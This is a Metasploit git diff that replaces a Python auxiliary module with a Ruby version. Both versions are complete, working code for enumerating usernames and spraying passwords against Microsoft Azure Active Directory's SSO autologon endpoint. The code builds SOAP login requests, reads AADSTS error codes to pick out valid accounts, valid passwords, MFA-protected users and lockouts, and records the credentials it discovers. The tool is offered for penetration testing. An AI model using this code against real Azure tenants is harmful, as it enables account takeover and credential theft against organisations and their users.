diff --git a/modules/auxiliary/scanner/http/azure_ad_login.py b/modules/auxiliary/scanner/http/azure_ad_login.py deleted file mode 100644 index 351f852976..0000000000 --- a/modules/auxiliary/scanner/http/azure_ad_login.py +++ /dev/null @@ -1,186 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - -# standard modules -from metasploit import module - -# extra modules -DEPENDENCIES_MISSING = False -try: - import datetime - import itertools - import os - import requests - import uuid - import xml.etree.ElementTree as ET - from xml.sax.saxutils import escape -except ImportError: - DEPENDENCIES_MISSING = True - - -# Metasploit Metadata -metadata = { - 'name': 'Microsoft Azure Active Directory Login Enumeration', - 'description': ''' - Enumerate valid usernames and passwords against a Microsoft Azure Active Directory - domain by utilizing a flaw in how SSO authenticates. - ''', - 'authors': [ - 'Matthew Dunn' - ], - 'date': '2021-10-06', - 'license': 'MSF_LICENSE', - 'references': [ - {'type': 'url', 'ref': 'https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/'}, - {'type': 'url', 'ref': 'https://github.com/treebuilder/aad-sso-enum-brute-spray'}, - ], - 'type': 'single_scanner', - 'options': { - 'RHOSTS': {'type': 'string', - 'description': 'The Azure Autologon endpoint', - 'required': True, 'default': 'autologon.microsoftazuread-sso.com'}, - 'targeturi': {'type': 'string', - 'description': 'The base path to the Azure autologon endpoint', - 'required': True, 'default': '/winauth/trust/2005/usernamemixed'}, - 'rport': {'type': 'port', 'description': 'Port to target', - 'required': True, 'default': 443}, - 'domain': {'type': 'string', 'description': 'The target Azure AD domain', - 'required': True, 'default': None}, - 'username': {'type': 'string', - 'description': 'The username to verify or path to a file of usernames', - 'required': True, 'default': None}, - 'password': {'type': 'string', - 'description': 'The password to try or path to a file of passwords', - 'required': True, 'default': None}, - } -} - - -def check_login(rhost, rport, domain, targeturi, username, password): - """Check a single login against the Azure Active Directory Domain""" - - request_id = uuid.uuid4() - url = 'https://autologon.microsoftazuread-sso.com:{}/{}{}?client-request-id={}'.format(rport, domain, targeturi, request_id) - - created = str(datetime.datetime.now()) - expires = str(datetime.datetime.now() + datetime.timedelta(minutes=10)) - - message_id = uuid.uuid4() - username_token = uuid.uuid4() - - body = """ - - - http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue - {} - urn:uuid:{} - - - {} - {} - - - {}@{} - {} - - - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/Issue - - - urn:federation:MicrosoftOnline - - - http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey - - - -""" - body = body.format(url, message_id, created, expires, username_token, - escape(username), escape(domain), escape(password)) - session = requests.Session() - report_data = {'address': 'autologon.microsoftazuread-sso.com', 'domain':domain, 'port': rport, - 'protocol': 'tcp', 'service_name':'Azure AD'} - try: - request = session.post(url, data=body, timeout=30) - # Parse the XML - root_xml = ET.fromstring(request.content) - ns0 = '{http://www.w3.org/2003/05/soap-envelope}' - ns1 = '{http://schemas.microsoft.com/Passport/SoapServices/SOAPFault}' - ns2 = '{http://schemas.xmlsoap.org/ws/2005/02/trust}' - ns3 = '{urn:oasis:names:tc:SAML:1.0:assertion}' - if b'DesktopSsoToken' in request.content: - auth_details = root_xml.find('{}Body/{}RequestSecurityTokenResponse/{}RequestedSecurityToken/{}Assertion/DesktopSsoToken'.format(ns0, ns2, ns2, ns3)).text - else: - auth_details = root_xml.find('{}Body/{}Fault/{}Detail/{}error/{}internalerror/{}text'.format(ns0,ns0,ns0,ns1,ns1,ns1)).text - - # Based on the auth details, we determine whether the username/password pair is valid - if b'DesktopSsoToken' in request.content: # We get a correct response - module.log('Login {}\\{}:{} is valid!'.format(domain, username, password), level='good') - module.log('Desktop SSO Token: {}'.format(auth_details), level='good') - module.report_correct_password(username, password, **report_data) - elif auth_details.startswith("AADSTS50126"): # Valid user but incorrect password - module.log('Password {} is invalid but {}\\{} is valid!'.format(password, domain, username), - level='good') - module.report_valid_username(username, **report_data) - elif auth_details.startswith("AADSTS50056"): # User exists without a password in Azure AD - module.log('{}\\{} is valid but the user does not have a password in Azure AD!'.format(domain, username), - level='good') - module.report_valid_username(username, **report_data) - elif auth_details.startswith("AADSTS50076"): # User exists, but you need MFA to connect to this resource - module.log('Login {}\\{}:{} is valid, but you need MFA to connect to this resource'.format(password, domain, username), - level='good') - module.report_valid_username(username, **report_data) - elif auth_details.startswith("AADSTS50014"): # User exists, but the maximum Pass-through Authentication time was exceeded - module.log('{}\\{} is valid but the maximum pass-through authentication time was exceeded'.format(domain, username), - level='good') - module.report_valid_username(username, **report_data) - elif auth_details.startswith("AADSTS50034"): # User does not exist - module.log('{}\\{} is not a valid user'.format(domain, username), level='error') - elif auth_details.startswith("AADSTS50053"): # Account is locked - module.log('Account is locked, consider taking time before continuuing to scan!', - level='error') - return - else: # Unknown error code - module.log('Received unknown response with error code: {}'.format(auth_details)) - except requests.exceptions.Timeout: - module.log('No response received in 30 seconds, continuuing...', level='error') - except requests.exceptions.RequestException as exc: - module.log('{}'.format(exc), level='error') - return - - -def check_logins(rhost, rport, targeturi, domain, usernames, passwords): - """Check each username and password combination""" - for (username, password) in list(itertools.product(usernames, passwords)): - check_login(rhost, rport, targeturi, domain, username.strip(), password.strip()) - - -def run(args): - """Run the module, verifying usernames and passwords""" - module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost'])) - if DEPENDENCIES_MISSING: - module.log('Module dependencies are missing, cannot continue', level='error') - return - - # Gather usernames and passwords for enumeration - if os.path.isfile(args['username']): - with open(args['username'], 'r') as file_contents: - usernames = file_contents.readlines() - else: - usernames = [args['username']] - if 'password' in args and os.path.isfile(args['password']): - with open(args['password'], 'r') as file_contents: - passwords = file_contents.readlines() - elif 'password' in args and args['password']: - passwords = [args['password']] - else: - passwords = ['wrong'] - # Check each valid login combination - check_logins(args['rhost'], args['rport'], args['domain'], args['targeturi'], - usernames, passwords) - -if __name__ == '__main__': - module.run(metadata, run) diff --git a/modules/auxiliary/scanner/http/azure_ad_login.rb b/modules/auxiliary/scanner/http/azure_ad_login.rb new file mode 100644 index 0000000000..42f7244eb2 --- /dev/null +++ b/modules/auxiliary/scanner/http/azure_ad_login.rb @@ -0,0 +1,182 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Microsoft Azure Active Directory Login Enumeration', + 'Description' => %q{ + This module enumerates valid usernames and passwords against a + Microsoft Azure Active Directory domain by utilizing a flaw in + how SSO authenticates. + }, + 'Author' => [ + 'Matthew Dunn - k0pak4' + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/'], + [ 'URL', 'https://github.com/treebuilder/aad-sso-enum-brute-spray'], + ], + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, + 'RHOSTS' => '127.0.0.1' # We don't actually use this, because the azure endpoint is what we want + } + ) + + register_options( + [ + OptString.new('domain', [true, 'The target Azure AD domain', '']), + OptString.new('azure_endpoint', [true, 'The Azure Autologon endpoint', 'autologon.microsoftazuread-sso.com']), + OptString.new('targeturi', [ true, 'The base path to the Azure autologon endpoint', '/winauth/trust/2005/usernamemixed']), + ] + ) + + deregister_options('PASSWORD_SPRAY', 'VHOST', 'USER_AS_PASS', + 'USERPASS_FILE', 'STOP_ON_SUCCESS', 'Proxies', + 'DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'BLANK_PASSWORDS') + end + + def report_login(azure_endpoint, _domain, username, password) + # report information, if needed + service_data = { + address: azure_endpoint, + port: 443, + service_name: 'Azure AD', + protocol: 'http' + } + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: username, + private_data: password, + private_type: :password + }.merge(service_data) + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + + def check_login(azure_endpoint, targeturi, domain, username, password) + request_id = SecureRandom.uuid + url = "https://autologon.microsoftazuread-sso.com/#{domain}#{targeturi}" + + created = Time.new.inspect + expires = (Time.new + 600).inspect + + message_id = SecureRandom.uuid + username_token = SecureRandom.uuid + + body = " + + + http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue + #{url} + urn:uuid:#{message_id} + + + #{created} + #{expires} + + + #{username}@#{domain} + #{password} + + + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/Issue + + + urn:federation:MicrosoftOnline + + + http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey + + +" + + res = send_request_raw({ + 'uri' => "/#{domain}#{targeturi}", + 'method' => 'POST', + 'rhost' => azure_endpoint, + 'ssl' => true, + 'rport' => 443, + 'vars_get' => { + 'client-request-id' => request_id + }, + 'data' => body + }) + + # Check the XML response for either the SSO Token or the error code + xml = res.get_xml_document + xml.remove_namespaces! + + if xml.xpath('//DesktopSsoToken')[0] + auth_details = xml.xpath('//DesktopSsoToken')[0].text + else + auth_details = xml.xpath('//internalerror/text')[0].text + end + + if xml.xpath('//DesktopSsoToken')[0] + print_good("Login #{domain}\\#{username}:#{password} is valid!") + print_good("Desktop SSO Token: #{auth_details}") + report_login(azure_endpoint, domain, username, password) + elsif auth_details.start_with?('AADSTS50126') # Valid user but incorrect password + print_good("Password #{password} is invalid but #{domain}\\#{username} is valid!") + report_login(azure_endpoint, domain, username, nil) + elsif auth_details.start_with?('AADSTS50056') # User exists without a password in Azure AD + print_good("#{domain}\\#{username} is valid but the user does not have a password in Azure AD!") + report_login(azure_endpoint, domain, username, nil) + elsif auth_details.start_with?('AADSTS50076') # User exists, but you need MFA to connect to this resource + print_good("Login #{domain}\\#{username}:#{password} is valid, but you need MFA to connect to this resource") + report_login(azure_endpoint, domain, username, password) + elsif auth_details.start_with?('AADSTS50014') # User exists, but the maximum Pass-through Authentication time was exceeded + print_good("#{domain}\\#{username} is valid but the maximum pass-through authentication time was exceeded") + report_login(azure_endpoint, domain, username, nil) + elsif auth_details.start_with?('AADSTS50034') # User does not exist + print_error("#{domain}\\#{username} is not a valid user") + elsif auth_details.start_with?('AADSTS50053') # Account is locked + print_error('Account is locked, consider taking time before continuuing to scan!') + else # Unknown error code + print_error("Received unknown response with error code: #{auth_details}") + end + end + + def check_logins(azure_endpoint, targeturi, domain, usernames, passwords) + for username in usernames do + for password in passwords do + check_login(azure_endpoint, targeturi, domain, username.strip, password.strip) + end + end + end + + def run_host(_ip) + # Check whether the username is a file or string, stick either in an array + if datastore.include? 'USER_FILE' + usernames = File.readlines(datastore['USER_FILE']) + else + usernames = [datastore['USERNAME']] + end + if datastore.include? 'PASS_FILE' + passwords = File.readlines(datastore['PASS_FILE']) + else + passwords = [datastore['PASSWORD']] + end + + check_logins(datastore['azure_endpoint'], datastore['targeturi'], datastore['domain'], usernames, passwords) + end +end